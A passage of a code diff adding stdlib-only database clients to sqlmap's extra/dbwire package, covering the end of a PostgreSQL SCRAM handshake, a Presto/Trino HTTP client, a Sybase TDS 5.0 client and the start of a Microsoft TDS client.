+            client_final_noproof = "c=biws,r=%s" % snonce
+            auth_message = "%s,%s,%s" % (cfirst_bare, server_first, client_final_noproof)
+            client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest()
+            proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii")
+            _send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii"))
+        elif code == 12:  # SASLFinal (server-final): verify the server too, or the handshake is one-way
+            # Without this the client proves itself to the server and simply trusts whatever answers back.
+            # ServerSignature = HMAC(ServerKey, AuthMessage) can only be produced by a peer that holds the
+            # stored credentials, so comparing it is what makes the exchange mutual (RFC 5802 5, 5.1).
+            if salted is None or auth_message is None:
+                raise OperationalError("unexpected SCRAM server-final message")
+            try:
+                attrs = dict(kv.split("=", 1) for kv in payload[4:].decode("ascii").split(","))
+            except (ValueError, UnicodeDecodeError) as ex:
+                raise OperationalError("malformed SCRAM server-final message (%s)" % ex)
+            if "e" in attrs:
+                raise OperationalError("SCRAM authentication failed (%s)" % attrs["e"])
+            try:
+                signature = base64.b64decode(attrs["v"])
+            except (KeyError, binascii.Error, ValueError) as ex:
+                raise OperationalError("malformed SCRAM server signature (%s)" % ex)
+            server_key = hmac.new(salted, b"Server Key", hashlib.sha256).digest()
+            expected = hmac.new(server_key, auth_message.encode("ascii"), hashlib.sha256).digest()
+            if not hmac.compare_digest(signature, expected):
+                raise OperationalError("SCRAM server signature mismatch (rogue server?)")
+        else:
+            raise InterfaceError("unsupported authentication request %d" % code)
+
+def _raise_server_error_as_operational(payload):
+    message, _ = _error_message(payload)
+    raise OperationalError("(remote) %s" % message)
+
+def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    try:
+        sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout)
+        keepalive(sock)
+    except (socket.error, socket.timeout) as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+
+    params = b""
+    for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")):
+        params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00"
+    params += b"\x00"
+
+    try:
+        _send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params)  # StartupMessage
+        _authenticate(sock, user, password)
+        while True:  # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse)
+            mtype, payload = _read_message(sock)
+            if mtype == b"E":
+                _raise_server_error_as_operational(payload)
+            if mtype == b"Z":
+                break
+        handshake_done(sock)
+    except Exception:  # any setup failure (DB-API or otherwise) must still close the socket
+        try:
+            sock.close()
+        except Exception:
+            pass
+        raise
+
+    return Connection(sock)

extra/dbwire/presto.py

@@ -0,0 +1,192 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python Presto/Trino client over its native HTTP/REST interface (stdlib only, no
+presto-python-client). A query is POSTed to /v1/statement; the server returns JSON pages carrying
+'columns'/'data' and a 'nextUri' to poll until the statement finishes. Both X-Presto-* and X-Trino-*
+headers are sent so the same client works against Presto and Trino.
+"""
+
+import base64
+import json
+import socket
+
+try:
+    from urllib.request import Request, urlopen        # Python 3
+    from urllib.error import HTTPError, URLError
+except ImportError:
+    from urllib2 import Request, urlopen, HTTPError, URLError  # Python 2
+
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import http_origin
+from extra.dbwire import ProgrammingError
+
+def _convert(value, coltype):
+    # normalize Presto/Trino JSON cells for sqlmap: VARBINARY arrives base64-encoded (decode to bytes so
+    # direct()'s binary handling hex-encodes it), ARRAY/MAP/ROW arrive as JSON structures (serialize to text)
+    if value is None:
+        return value
+    if coltype.startswith("varbinary"):
+        try:
+            return base64.b64decode(value)
+        except Exception:
+            return value
+    if isinstance(value, (list, dict)):
+        return json.dumps(value)
+    return value
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows = self.connection._query(query)
+        self.rowcount = len(self._rows)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+def _split_pair(item):
+    """'key=value' -> (key, value); a bare 'key' keeps a None value (Trino sends both forms)."""
+
+    key, sep, value = item.strip().partition("=")
+    return key.strip(), (value.strip() if sep else None)
+
+
+class Connection(object):
+    def __init__(self, host, port, user, password, catalog, schema, timeout):
+        self._statement_url = "%s/v1/statement" % http_origin(host, port)
+        self._timeout = timeout
+        self._headers = {"Content-Type": "text/plain"}
+        for prefix in ("X-Presto-", "X-Trino-"):
+            self._headers[prefix + "User"] = user or "sqlmap"
+            self._headers[prefix + "Source"] = "dbwire"
+            # only send Catalog/Schema when supplied: a Schema without a Catalog makes Trino reject every
+            # request ("Schema is set but catalog is not"), so never force a "default" schema
+            if catalog:
+                self._headers[prefix + "Catalog"] = catalog
+                if schema:              # only inside the catalog branch: a Schema alone is rejected
+                    self._headers[prefix + "Schema"] = schema
+        if password:
+            token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii")
+            self._headers["Authorization"] = "Basic %s" % token
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        pass
+
+    def rollback(self):
+        pass
+
+    def close(self):
+        pass  # HTTP is stateless
+
+    def _apply_state(self, info):
+        """
+        Carry the session state the server hands back into the headers of every later request.
+
+        The client protocol is stateless on the wire, so the SERVER cannot remember anything: it reports
+        each change as a response header and the client is required to echo it back. Ignoring them makes
+        'USE', 'SET SESSION', 'SET ROLE' and 'START TRANSACTION' appear to succeed and then silently have
+        no effect on the next statement.
+        """
+
+        for prefix in ("X-Presto-", "X-Trino-"):
+            for suffix, header in (("Catalog", "Catalog"), ("Schema", "Schema"), ("Path", "Path")):
+                value = info.get((prefix + "Set-" + suffix).lower())
+                if value:
+                    self._headers[prefix + header] = value
+            started = info.get((prefix + "Started-Transaction-Id").lower())
+            if started:
+                self._headers[prefix + "Transaction-Id"] = started
+            if info.get((prefix + "Clear-Transaction-Id").lower()):
+                self._headers.pop(prefix + "Transaction-Id", None)
+            # Set-Session / Set-Role accumulate as comma-separated 'key=value' pairs, and the matching
+            # Clear-* header removes one by name
+            for kind in ("Session", "Role"):
+                current = dict(_split_pair(_) for _ in (self._headers.get(prefix + kind) or "").split(",") if _)
+                for item in (info.get((prefix + "Set-" + kind).lower()) or "").split(","):
+                    if item.strip():
+                        key, value = _split_pair(item)
+                        current[key] = value
+                for key in (info.get((prefix + "Clear-" + kind).lower()) or "").split(","):
+                    current.pop(key.strip(), None)
+                if current:
+                    self._headers[prefix + kind] = ",".join("%s=%s" % (k, v) if v is not None else k for k, v in sorted(current.items()))
+                else:
+                    self._headers.pop(prefix + kind, None)
+
+    def _request(self, url, data=None):
+        req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers)
+        try:
+            response = urlopen(req, timeout=self._timeout)
+            body = response.read().decode("utf-8", "replace")
+        except HTTPError as ex:
+            raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200]))
+        except URLError as ex:
+            raise OperationalError("(remote) %s" % ex)
+        except (socket.timeout, socket.error) as ex:
+            raise OperationalError("(remote) %s" % ex)
+        info = response.info()
+        self._apply_state(dict((k.lower(), v) for k, v in (info.items() if hasattr(info, "items") else [])))
+        try:
+            return json.loads(body)
+        except ValueError as ex:
+            raise InterfaceError("malformed server response: %s" % ex)
+
+    def _query(self, query):
+        page = self._request(self._statement_url, data=query)
+        columns, rows, types = None, [], []
+        while True:
+            if page.get("error"):
+                message = page["error"].get("message", "unknown error")
+                raise ProgrammingError("(remote) %s" % message)
+            if page.get("columns") and columns is None:
+                columns = [(c.get("name"), c.get("type"), None, None, None, None, None) for c in page["columns"]]
+                types = [(c.get("type") or "") for c in page["columns"]]
+            for row in page.get("data") or []:
+                rows.append(tuple(_convert(v, types[i] if i < len(types) else "") for i, v in enumerate(row)))
+            next_uri = page.get("nextUri")
+            if not next_uri:
+                break
+            page = self._request(next_uri)
+        return columns, rows
+
+def connect(host=None, port=8080, user=None, password=None, database=None, connect_timeout=None, schema=None, **kwargs):
+    connection = Connection(host or "localhost", int(port or 8080), user, password, database, schema, connect_timeout)
+    try:
+        connection._query("SELECT 1")  # verify connectivity/credentials
+    except ProgrammingError:
+        raise
+    except Exception as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+    return connection

extra/dbwire/sybase.py

@@ -0,0 +1,429 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python Sybase ASE client speaking TDS 5.0 (stdlib only, no pymssql/FreeTDS).
+
+Sybase and Microsoft share the 8-byte TDS packet framing (reused from tds.py) and part company at the
+login: ASE speaks TDS 5.0, which means a fixed-layout LOGINREC instead of LOGIN7, a capability
+negotiation, SQL sent as a LANGUAGE token in a normal packet, and results described by ROWFMT rather than
+COLMETADATA. Cleartext login only. Read-oriented for sqlmap: execute() takes a fully-formed query string,
+binary values come back as bytes (sqlmap hex-encodes them).
+
+Two encodings look like their Microsoft namesakes and are not: DECIMAL/NUMERIC carries a big-endian
+magnitude with 1 meaning *negative* (Microsoft is little-endian with 1 meaning positive), and DONE reports
+a 4-byte row count (Microsoft uses 8).
+"""
+
+import os
+import re
+import socket
+import struct
+
+from extra.dbwire import DatabaseError
+from extra.dbwire import DataError
+from extra.dbwire import IntegrityError
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import handshake_done
+from extra.dbwire import keepalive
+from extra.dbwire import ProgrammingError
+
+# the packet framing is byte-identical to the Microsoft dialect - only what travels inside it differs
+from extra.dbwire.tds import _decode_datetime
+from extra.dbwire.tds import _decode_money
+from extra.dbwire.tds import _decode_smalldatetime
+from extra.dbwire.tds import _read_message
+from extra.dbwire.tds import _send_message
+
+_PKT_LOGIN = 0x02
+_PKT_NORMAL = 0x0f
+_LOGIN_CHUNK = 504    # the login travels in 512-byte packets: the server's buffer is not negotiated yet
+_PACKET_SIZE = 2048   # ASE's default 'max network packet size'; a bigger request is negotiated down
+_HEADER_SIZE = 8
+
+# tokens
+_TOKEN_LANGUAGE = 0x21
+_TOKEN_ROWFMT = 0xee
+_TOKEN_ROWFMT2 = 0x61
+_TOKEN_ROW = 0xd1
+_TOKEN_CAPABILITY = 0xe2
+_TOKEN_ENVCHANGE = 0xe3
+_TOKEN_EED = 0xe5
+_TOKEN_RETURNSTATUS = 0x79
+_TOKEN_LOGOUT = 0x71
+_TOKEN_DONE = frozenset((0xfd, 0xfe, 0xff))  # DONE / DONEPROC / DONEINPROC
+_DONE_COUNT = 0x0010                         # DONE status bit: the row count is meaningful
+_ENV_PACKET_SIZE = 4                         # ENVCHANGE type: the server's answer to the requested size
+
+# SYB* datatype codes. Fixed-length types carry no per-value length; everything else is length-prefixed,
+# and a zero length means NULL (TDS 5 cannot tell an empty string from NULL - neither can ASE itself).
+_T_INT1, _T_BIT, _T_INT2, _T_INT4, _T_INT8 = 0x30, 0x32, 0x34, 0x38, 0xbf
+_T_REAL, _T_FLT8, _T_MONEY, _T_MONEY4 = 0x3b, 0x3e, 0x3c, 0x7a
+_T_DATETIME, _T_DATETIME4, _T_DATE, _T_TIME = 0x3d, 0x3a, 0x31, 0x33
+_T_INTN, _T_FLTN, _T_MONEYN, _T_DATETIMN, _T_DATEN, _T_TIMEN = 0x26, 0x6d, 0x6e, 0x6f, 0x7b, 0x93
+_T_DECIMAL, _T_NUMERIC = 0x6a, 0x6c
+_T_CHAR, _T_VARCHAR, _T_BINARY, _T_VARBINARY, _T_NVARCHAR = 0x2f, 0x27, 0x2d, 0x25, 0x67
+_T_TEXT, _T_IMAGE, _T_UNITEXT = 0x23, 0x22, 0xae
+_T_LONGBINARY, _T_LONGCHAR = 0xe1, 0xaf
+_T_BIGDATETIME, _T_BIGTIME = 0xbb, 0xbc
+_T_BIGDATETIMEN, _T_BIGTIMEN = 0xbd, 0xbe
+_T_VOID = 0x1f
+
+_FIXED_LENGTH = {
+    _T_INT1: 1, _T_BIT: 1, _T_INT2: 2, _T_INT4: 4, _T_INT8: 8, _T_REAL: 4, _T_FLT8: 8,
+    _T_MONEY: 8, _T_MONEY4: 4, _T_DATETIME: 8, _T_DATETIME4: 4, _T_DATE: 4, _T_TIME: 4,
+    _T_BIGDATETIME: 8, _T_BIGTIME: 8, _T_VOID: 0,
+}
+_BLOB_TYPES = frozenset((_T_TEXT, _T_IMAGE, _T_UNITEXT))          # textptr + timestamp + 4-byte length
+_LONG_TYPES = frozenset((_T_LONGBINARY, _T_LONGCHAR))             # 4-byte length
+_BINARY_TYPES = frozenset((_T_BINARY, _T_VARBINARY, _T_IMAGE))
+_DECIMAL_TYPES = frozenset((_T_DECIMAL, _T_NUMERIC))
+# univarchar/unichar/unitext are carried as LONGBINARY/UNITEXT holding UTF-16 - only the user type says so
+_UNICODE_USERTYPES = frozenset((34, 35, 36))
+# a client that does not claim the date/time/bigdatetime capabilities gets those columns converted to a
+# plain datetime, which is lossless but would render a date as '... 00:00:00'. The user type survives the
+# conversion, so it is what says how much of the value the column actually holds.
+_USERTYPE_DATE = 37
+_USERTYPE_TIME = frozenset((38, 49))
+
+_IDENTIFIER = re.compile(r"^[A-Za-z_#][A-Za-z0-9_#$]*$")
+
+def _u8(data, off):
+    return struct.unpack("<B", data[off:off + 1])[0]
+
+def _u16(data, off):
+    return struct.unpack("<H", data[off:off + 2])[0]
+
+def _i32(data, off):
+    return struct.unpack("<i", data[off:off + 4])[0]
+
+def _login_string(value, size):
+    # fixed-width field: `size` bytes of (truncated, NUL-padded) text followed by the actual length
+    data = (value or "").encode("utf-8")[:size]
+    return data + b"\x00" * (size - len(data)) + struct.pack("<B", len(data))
+
+def _loginrec(host, user, password, appname, servername, charset, packetsize):
+    """
+    The TDS 5.0 LOGINREC: one fixed 568-byte record, then a 35-byte CAPABILITY token.
+
+    Field order and widths mirror what ASE's own Open Client puts on the wire. The two reserved runs are
+    spare in every implementation that documents them (Open Client sets one byte inside the second run,
+    ASE accepts the record without it), so they go out as zeros rather than as an unexplained constant.
+    """
+
+    out = _login_string(host, 30)                       # client host name
+    out += _login_string(user, 30)                      # user name
+    out += _login_string(password, 30)                  # password (cleartext)
+    out += _login_string("%d" % os.getpid(), 30)         # client process id, as text
+    # number/char/date byte orders, then: notify on USE, refuse dump-load & bulk-copy, interface, network
+    out += struct.pack("<9B", 3, 1, 6, 10, 9, 1, 1, 0, 0)
+    out += b"\x00" * 7                                  # spare
+    out += _login_string(appname, 30)                   # application name
+    out += _login_string(servername, 30)                # server name
+    remote = b"\x00" + struct.pack("<B", len(password or "")) + (password or "").encode("utf-8")
+    out += remote + b"\x00" * (255 - len(remote)) + struct.pack("<B", len(remote))  # remote passwords
+    out += struct.pack("<4B", 5, 0, 0, 0)               # TDS version 5.0.0.0
+    out += _login_string("dbwire", 10)                  # library name
+    out += struct.pack("<4B", 1, 0, 0, 0)               # library version
+    out += struct.pack("<3B", 0, 0x0d, 0x11)            # auto-convert short, float4 & date4 formats
+    out += b"\x00"                                      # reserved
+    out += _login_string("", 30)                        # language (empty -> the server default)
+    out += b"\x00" * 13                                 # notify-on-language-change, security & HA fields
+    out += _login_string(charset, 30)                   # client character set
+    out += b"\x00"                                      # notify on character-set change
+    out += _login_string("%d" % packetsize, 6)          # network packet size, as text
+    out += b"\x00" * 4                                  # spare
+
+    # capability negotiation: request bits say what the client can do, response bits what it wants back.
+    # All-zero is the baseline dialect - the wide/streaming formats a fallback client has no use for are
+    # exactly the ones it must not claim, or the server starts answering in them.
+    capability = struct.pack("<3B", _TOKEN_CAPABILITY, 32, 0)
+    capability += struct.pack("<2B", 1, 14) + b"\x00" * 14
+    capability += struct.pack("<2B", 2, 14) + b"\x00" * 14
+    return out + capability
+
+class _Column(object):
+    __slots__ = ("name", "type", "size", "scale", "usertype")
+
+def _parse_rowfmt(data, off, length, codec):
+    end = off + length
+    count = _u16(data, off); off += 2
+    columns = []
+    for _ in range(count):
+        col = _Column()
+        namelen = _u8(data, off); off += 1
+        col.name = data[off:off + namelen].decode(codec, "replace"); off += namelen
+        off += 1                                        # status (nullability - the value length says it)
+        col.usertype = _i32(data, off); off += 4
+        col.type = _u8(data, off); off += 1
+        col.size, col.scale = _FIXED_LENGTH.get(col.type, 0), 0
+        if col.type in _DECIMAL_TYPES:
+            col.size = _u8(data, off)
+            col.scale = _u8(data, off + 2)              # precision (off + 1) is not needed to decode
+            off += 3
+        elif col.type in _BLOB_TYPES:
+            col.size = _i32(data, off); off += 4
+            off += 2 + _u16(data, off)                  # the blob's table name
+        elif col.type in _LONG_TYPES:
+            col.size = _i32(data, off); off += 4
+        elif col.type not in _FIXED_LENGTH:
+            col.size = _u8(data, off); off += 1
+        off += 1 + _u8(data, off)                       # locale
+        columns.append(col)
+    if off != end:
+        raise InterfaceError("malformed ROWFMT token (%d columns did not fill %d bytes)" % (count, length))
+    return columns, off
+
+def _decode_numeric(raw, scale):
+    # sign byte then a BIG-endian magnitude, and 1 means NEGATIVE (the Microsoft encoding is the mirror
+    # image of this: little-endian, 1 == positive)
+    magnitude = 0
+    for b in bytearray(raw[1:]):
+        magnitude = (magnitude << 8) | b
+    value = -magnitude if bytearray(raw)[0] else magnitude
+    if scale:
+        text = "%0*d" % (scale + 1, abs(value))
+        return ("-" if value < 0 else "") + text[:-scale] + "." + text[-scale:]
+    return "%d" % value
+
+def _decode_date(raw):
+    import datetime
+    return "%s" % (datetime.date(1900, 1, 1) + datetime.timedelta(days=_i32(raw, 0)))
+
+def _decode_time(raw):
+    import datetime
+    ticks = struct.unpack("<I", raw)[0]                 # 300ths of a second since midnight
+    return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(milliseconds=ticks * 10.0 / 3.0)).time()
+
+def _decode_bigdatetime(raw, time_only=False):
+    import datetime
+    micros = struct.unpack("<Q", raw)[0]                # microseconds since 0001-01-01 00:00:00
+    value = datetime.datetime(1, 1, 1) + datetime.timedelta(microseconds=micros)
+    return "%s" % (value.time() if time_only else value)
+
+def _decode_value(col, raw, codec):
+    t = col.type
+    if t in (_T_INT1, _T_BIT) or (t == _T_INTN and len(raw) == 1):
+        value = bytearray(raw)[0]                       # tinyint is unsigned; bit is 0/1
+        return "%d" % value
+    if t == _T_INT2 or (t == _T_INTN and len(raw) == 2):
+        return "%d" % struct.unpack("<h", raw)[0]
+    if t == _T_INT4 or (t == _T_INTN and len(raw) == 4):
+        return "%d" % struct.unpack("<i", raw)[0]
+    if t == _T_INT8 or (t == _T_INTN and len(raw) == 8):
+        return "%d" % struct.unpack("<q", raw)[0]
+    if t in (_T_REAL, _T_FLT8, _T_FLTN):
+        return repr(struct.unpack("<f" if len(raw) == 4 else "<d", raw)[0])
+    if t in (_T_MONEY, _T_MONEY4, _T_MONEYN):
+        return _decode_money(raw)
+    if t in _DECIMAL_TYPES:
+        return _decode_numeric(raw, col.scale)
+    if t in (_T_DATETIME, _T_DATETIME4, _T_DATETIMN):
+        text = _decode_datetime(raw) if len(raw) == 8 else _decode_smalldatetime(raw)
+        if col.usertype == _USERTYPE_DATE:
+            return text.split(" ")[0]
+        if col.usertype in _USERTYPE_TIME:
+            return text.split(" ")[1]
+        return text
+    if t in (_T_DATE, _T_DATEN):
+        return _decode_date(raw)
+    if t in (_T_TIME, _T_TIMEN):
+        return _decode_time(raw)
+    if t in (_T_BIGDATETIME, _T_BIGDATETIMEN):
+        return _decode_bigdatetime(raw)
+    if t in (_T_BIGTIME, _T_BIGTIMEN):
+        return _decode_bigdatetime(raw, time_only=True)
+    if t in _BINARY_TYPES:
+        return raw                                      # sqlmap hex-encodes binary columns
+    if t == _T_UNITEXT or col.usertype in _UNICODE_USERTYPES:
+        return raw.decode("utf-16-le", "replace")
+    if t in (_T_CHAR, _T_VARCHAR, _T_NVARCHAR, _T_LONGCHAR, _T_TEXT):
+        return raw.decode(codec, "replace")
+    return raw      # LONGBINARY that is not unichar, a locator handle, an unmapped type: bytes, not a guess
+
+def _read_value(col, data, off, codec):
+    if col.type in _FIXED_LENGTH:
+        size = _FIXED_LENGTH[col.type]
+        raw, off = data[off:off + size], off + size
+        if not size:
+            return None, off
+    elif col.type in _BLOB_TYPES:
+        ptrlen = _u8(data, off); off += 1
+        if not ptrlen:
+            return None, off                            # no text pointer -> NULL
+        off += ptrlen + 8                               # text pointer + timestamp
+        length = _i32(data, off); off += 4
+        raw, off = data[off:off + length], off + length
+    elif col.type in _LONG_TYPES:
+        length = _i32(data, off); off += 4
+        if not length:
+            return None, off
+        raw, off = data[off:off + length], off + length
+    else:
+        length = _u8(data, off); off += 1
+        if not length:
+            return None, off
+        raw, off = data[off:off + length], off + length
+    return _decode_value(col, raw, codec), off
+
+def _eed(data, off, codec):
+    # EED: number(4) state(1) class(1) sqlstate, status(1) transtate(2) message, server, procedure, line
+    number = _i32(data, off)
+    severity = _u8(data, off + 5)
+    pos = off + 6
+    pos += 1 + _u8(data, pos)                           # SQLSTATE
+    pos += 1 + 2                                        # status + transaction state
+    length = _u16(data, pos); pos += 2
+    return number, severity, data[pos:pos + length].decode(codec, "replace").strip()
+
+def _raise_server_error(number, message):
+    if number in (2601, 2615, 2627, 1105, 546, 547):    # duplicate key/row, constraint, foreign key
+        raise IntegrityError(message)
+    if number in (247, 249, 257, 260, 264, 512, 8115):  # conversion, overflow, arithmetic
+        raise DataError(message)
+    raise ProgrammingError(message)
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows, affected = self.connection._query(query)
+        self.rowcount = len(self._rows) if self.description is not None else (affected if affected is not None else -1)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, sock, codec):
+        self._sock = sock
+        self._codec = codec
+        # a packet larger than the size agreed at login is not an error the server reports - it drops the
+        # connection, so every send has to be chopped to what the login negotiated (ENVCHANGE 4 below)
+        self._chunk = _PACKET_SIZE - _HEADER_SIZE
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        pass  # sqlmap issues autonomous statements; ASE is in unchained (auto-commit) mode by default
+
+    def rollback(self):
+        pass
+
+    def close(self):
+        try:
+            _send_message(self._sock, _PKT_NORMAL, struct.pack("<2B", _TOKEN_LOGOUT, 0))
+        except Exception:
+            pass
+        try:
+            self._sock.close()
+        except Exception:
+            pass
+
+    def _query(self, query):
+        # LANGUAGE token: length covers the status byte and the (single-byte encoded) statement text
+        text = query.encode(self._codec, "replace")
+        token = struct.pack("<BiB", _TOKEN_LANGUAGE, len(text) + 1, 0) + text
+        _send_message(self._sock, _PKT_NORMAL, token, self._chunk)
+        try:
+            return self._read_response()
+        except (struct.error, IndexError, ValueError, KeyError) as ex:
+            raise InterfaceError("malformed server response: %s" % ex)
+
+    def _read_response(self, login=False):
+        data = _read_message(self._sock)
+        off, columns, rows, description, affected = 0, [], [], None, None
+        error = None
+        while off < len(data):
+            token = _u8(data, off); off += 1
+            if token == _TOKEN_ROWFMT:
+                length = _u16(data, off); off += 2
+                columns, off = _parse_rowfmt(data, off, length, self._codec)
+                description = [(c.name, c.type, None, None, None, c.scale, None) for c in columns]
+                rows, affected = [], None
+            elif token == _TOKEN_ROW:
+                row = []
+                for col in columns:
+                    value, off = _read_value(col, data, off, self._codec)
+                    row.append(value)
+                rows.append(tuple(row))
+            elif token in _TOKEN_DONE:
+                status, _transtate, count = struct.unpack("<HHi", data[off:off + 8]); off += 8
+                if status & _DONE_COUNT:
+                    affected = count if affected is None else affected + count
+            elif token == _TOKEN_EED:
+                length = _u16(data, off)
+                number, severity, message = _eed(data, off + 2, self._codec)
+                if severity > 10:               # 10 and below are informational (e.g. 'Changed database')
+                    error = (number, "(remote) %s" % message)
+                off += 2 + length
+            elif token == _TOKEN_ENVCHANGE:
+                length = _u16(data, off)
+                if _u8(data, off + 2) == _ENV_PACKET_SIZE:
+                    size = data[off + 4:off + 4 + _u8(data, off + 3)]
+                    self._chunk = max(_LOGIN_CHUNK, int(size) - _HEADER_SIZE)
+                off += 2 + length
+            elif token == _TOKEN_RETURNSTATUS:
+                off += 4
+            elif token == _TOKEN_ROWFMT2:
+                raise NotSupportedError("the server answered with the wide ROWFMT2 format")
+            else:
+                off += 2 + _u16(data, off)      # every other TDS 5 token is 2-byte length prefixed
+        if error is not None:
+            if login:
+                raise OperationalError(error[1])
+            _raise_server_error(*error)
+        return description, rows, affected
+
+def connect(host=None, port=5000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    charset, codec = kwargs.get("charset", "utf8"), "utf-8"
+    try:
+        sock = socket.create_connection((host or "localhost", int(port or 5000)), timeout=connect_timeout)
+        keepalive(sock)
+    except (socket.error, socket.timeout) as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+
+    connection = Connection(sock, codec)
+    try:
+        login = _loginrec("dbwire", user or "", password or "", "dbwire", host or "localhost", charset, _PACKET_SIZE)
+        _send_message(sock, _PKT_LOGIN, login, _LOGIN_CHUNK)
+        connection._read_response(login=True)
+        handshake_done(sock)
+        if database:
+            if not _IDENTIFIER.match(database):
+                raise ProgrammingError("unsupported database name %r" % database)
+            connection._query("USE %s" % database)
+    except (DatabaseError, InterfaceError):
+        connection.close()
+        raise
+    except Exception as ex:
+        connection.close()
+        raise OperationalError("Sybase login failed (%s)" % ex)
+    return connection

extra/dbwire/tds.py

@@ -0,0 +1,630 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server (stdlib only).
+
+LOGIN7 / TDS 7.4 is the Microsoft dialect. Sybase ASE speaks TDS 5.0 - same 8-byte packet framing, but a
+LOGINREC login and its own token/type dialect - and lives in sybase.py, which reuses the framing below.
+
+Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption
+would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7,
+SQL batch, and decoding of the common column types (int/bit/float/money/decimal, (n)char/(n)varchar and
+their MAX/PLP forms, binary, guid, datetime family) to text (binary columns are returned as raw bytes so
+sqlmap hex-encodes them).
+"""
+
+import socket
+import struct
+
+from extra.dbwire import DatabaseError
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import connection_lost
+from extra.dbwire import handshake_done
+from extra.dbwire import keepalive
+from extra.dbwire import recvn
+from extra.dbwire import ProgrammingError
+
+_MAX_MESSAGE_LENGTH = 0x40000000
+_DONE_COUNT = 0x0010     # DONE status bit: DoneRowCount carries a valid affected-row count
+
+# packet types
+_PKT_SQL_BATCH = 0x01
+_PKT_LOGIN7 = 0x10
+_PKT_PRELOGIN = 0x12
+_STATUS_EOM = 0x01
+
+def _u8(data, off):
+    return struct.unpack("<B", data[off:off + 1])[0]
+
+def _send_message(sock, mtype, data, chunk_size=4088):
+    # split into <= 4096-byte packets (8-byte header + <=4088 data); only the last carries the EOM status
+    # bit. chunk_size is smaller for a TDS 5 login, whose packet size is not negotiated yet (see sybase.py)
+    packet_id = 0
+    off = 0
+    while True:
+        chunk = data[off:off + chunk_size]
+        off += chunk_size
+        last = off >= len(data)
+        header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 8, 0, packet_id & 0xff, 0)
+        try:
+            sock.sendall(header + chunk)
+        except (socket.error, OSError) as ex:
+            raise connection_lost(ex)
+        packet_id += 1
+        if last:
+            break
+
+def _read_message(sock):
+    # reassemble a full TDS message across packets (EOM status bit marks the last). The packet length is a
+    # 16-bit field, so bounding IT against _MAX_MESSAGE_LENGTH can never trigger - a hostile peer simply
+    # never sets EOM and streams packets forever. Bound the accumulated message instead, and collect the
+    # chunks in a list so reassembly stays linear rather than re-copying a growing immutable buffer.
+    chunks, total = [], 0
+    while True:
+        header = recvn(sock, 8)
+        mtype, status, length = struct.unpack(">BBH", header[:4])
+        if length < 8:
+            raise InterfaceError("invalid TDS packet length (%d)" % length)
+        total += length - 8
+        if total > _MAX_MESSAGE_LENGTH:
+            raise InterfaceError("TDS message exceeds the maximum allowed length (%d bytes)" % _MAX_MESSAGE_LENGTH)
+        chunks.append(recvn(sock, length - 8))
+        if status & _STATUS_EOM:
+            break
+    return b"".join(chunks)
+
+# ---- PRELOGIN ----------------------------------------------------------------------------------------
+
+def _prelogin(sock):
